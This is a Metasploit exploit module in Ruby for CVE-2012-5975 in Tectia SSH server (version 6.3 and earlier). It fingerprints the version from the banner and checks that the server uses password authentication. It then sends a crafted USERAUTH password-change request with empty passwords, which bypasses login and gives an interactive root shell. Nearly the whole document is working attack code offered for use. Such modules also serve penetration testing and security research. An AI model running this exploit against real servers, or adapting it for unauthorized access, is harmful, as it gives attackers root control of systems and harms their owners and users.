##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",
        'Description' => %q{
          This module exploits a vulnerability in Tectia SSH server for Unix-based
          platforms.  The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
          before password authentication, allowing any remote user to bypass the login
          routine, and then gain access as root.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'kingcope', # Original 0day
          'bperry',
          'sinn3r'
        ],
        'References' => [
          ['CVE', '2012-5975'],
          ['EDB', '23082'],
          ['OSVDB', '88103'],
          ['URL', 'https://seclists.org/fulldisclosure/2012/Dec/12']
        ],
        'Payload' => {
          'Compat' =>
                {
                  'PayloadType' => 'cmd_interact',
                  'ConnectionType' => 'find'
                }
        },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' => [
          ['Unix-based Tectia SSH 6.3 or prior', {}]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2012-12-01',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(22),
        OptString.new('USERNAME', [true, 'The username to login as', 'root'])
      ], self.class
    )

    register_advanced_options(
      [
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def check
    connect
    banner = sock.get_once.to_s.strip
    vprint_status("#{Rex::Socket.to_authority(rhost, rport)} - Banner: #{banner}")
    disconnect

    # Vulnerable version info obtained from CVE
    version = banner.scan(/\-(\d\.\d\.\d*).+SSH Tectia/).flatten[0] || ''
    build = version.split('.')[-1].to_i

    case version
    when /^6\.0/
      unless (4..14).include?(build) or (17..20).include?(build)
        return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not vulnerable")
      end

    when /^6\.1/
      unless (0..9).include?(build) or build == 12
        return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not vulnerable")
      end

    when /^6\.2/
      unless (0..5).include?(build)
        return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not vulnerable")
      end

    when /^6\.3/
      unless (0..2).include?(build)
        return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not vulnerable")
      end
    else
      return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not in the vulnerable range")
    end

    # The vulnerable version must use PASSWORD method
    user = Rex::Text.rand_text_alpha(4)
    transport, connection = init_ssh(user)
    return Exploit::CheckCode::Vulnerable("SSH Tectia version #{version} uses PASSWORD authentication") if is_passwd_method?(user, transport)

    return Exploit::CheckCode::Safe("SSH Tectia version #{version} does not use PASSWORD authentication")
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def is_passwd_method?(user, transport)
    # A normal client is expected to send a ssh-userauth packet.
    # Without it, the module can hang against non-vulnerable SSH servers.
    transport.send_message(transport.service_request("ssh-userauth"))
    message = transport.next_message

    # 6 means SERVICE_ACCEPT
    if message.type != 6
      print_error("Unexpected message: #{message.inspect}")
      return false
    end

    # We send this packet as an attempt to see what auth methods are available.
    # The only auth method we want is PASSWORD.
    pkt = Net::SSH::Buffer.from(
      :byte, 0x32,               # userauth request
      :string, user,             # username
      :string, "ssh-connection", # service
      :string, "password"        # method name
    )
    pkt.write_bool(true)
    pkt.write_string("")           # Old pass
    pkt.write_string("")           # New pass

    transport.send_message(pkt)
    message = transport.next_message

    # Type 51 means the server is trying to tell us what auth methods are allowed.
    if message.type == 51 and message.to_s !~ /password/
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - This host does not use password method authentication")
      return false
    end

    return true
  end

  #
  # The following link is useful to understand how to craft the USERAUTH password change
  # request packet:
  # http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903
  #
  def userauth_passwd_change(user, transport, connection)
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending USERAUTH Change request...")
    pkt = Net::SSH::Buffer.from(
      :byte, 0x32,               # userauth request
      :string, user,             # username
      :string, "ssh-connection", # service
      :string, "password"        # method name
    )
    pkt.write_bool(true)
    pkt.write_string("")           # Old pass
    pkt.write_string("")           # New pass

    transport.send_message(pkt)
    message = transport.next_message.type
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Auths that can continue: #{message.inspect}")

    if message.to_i == 52 # SSH2_MSG_USERAUTH_SUCCESS
      transport.send_message(transport.service_request("ssh-userauth"))
      message = transport.next_message.type

      if message.to_i == 6 # SSH2_MSG_SERVICE_ACCEPT
        shell = Net::SSH::CommandStream.new(connection, logger: self)
        connection = nil
        return shell
      end
    end
  end

  def init_ssh(user)
    opts = ssh_client_defaults.merge({
      :user => user,
      :port => rport
    })
    options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
    transport = Net::SSH::Transport::Session.new(rhost, options)
    connection = Net::SSH::Connection::Session.new(transport, options)

    return transport, connection
  end

  def do_login(user)
    transport, connection = init_ssh(user)
    passwd = is_passwd_method?(user, transport)

    if passwd
      conn = userauth_passwd_change(user, transport, connection)
      return conn
    end
  end

  def exploit
    c = nil

    begin
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        c = do_login(datastore['USERNAME'])
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{Rex::Socket.to_authority(rhost, rport)} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::Exception => e
      print_error "#{Rex::Socket.to_authority(rhost, rport)} SSH Error: #{e.class} : #{e.message}"
      return
    rescue ::Timeout::Error
      print_error "#{Rex::Socket.to_authority(rhost, rport)} SSH - Timed out during negotiation"
      return
    end

    handler(c.lsock) if c
  end
end
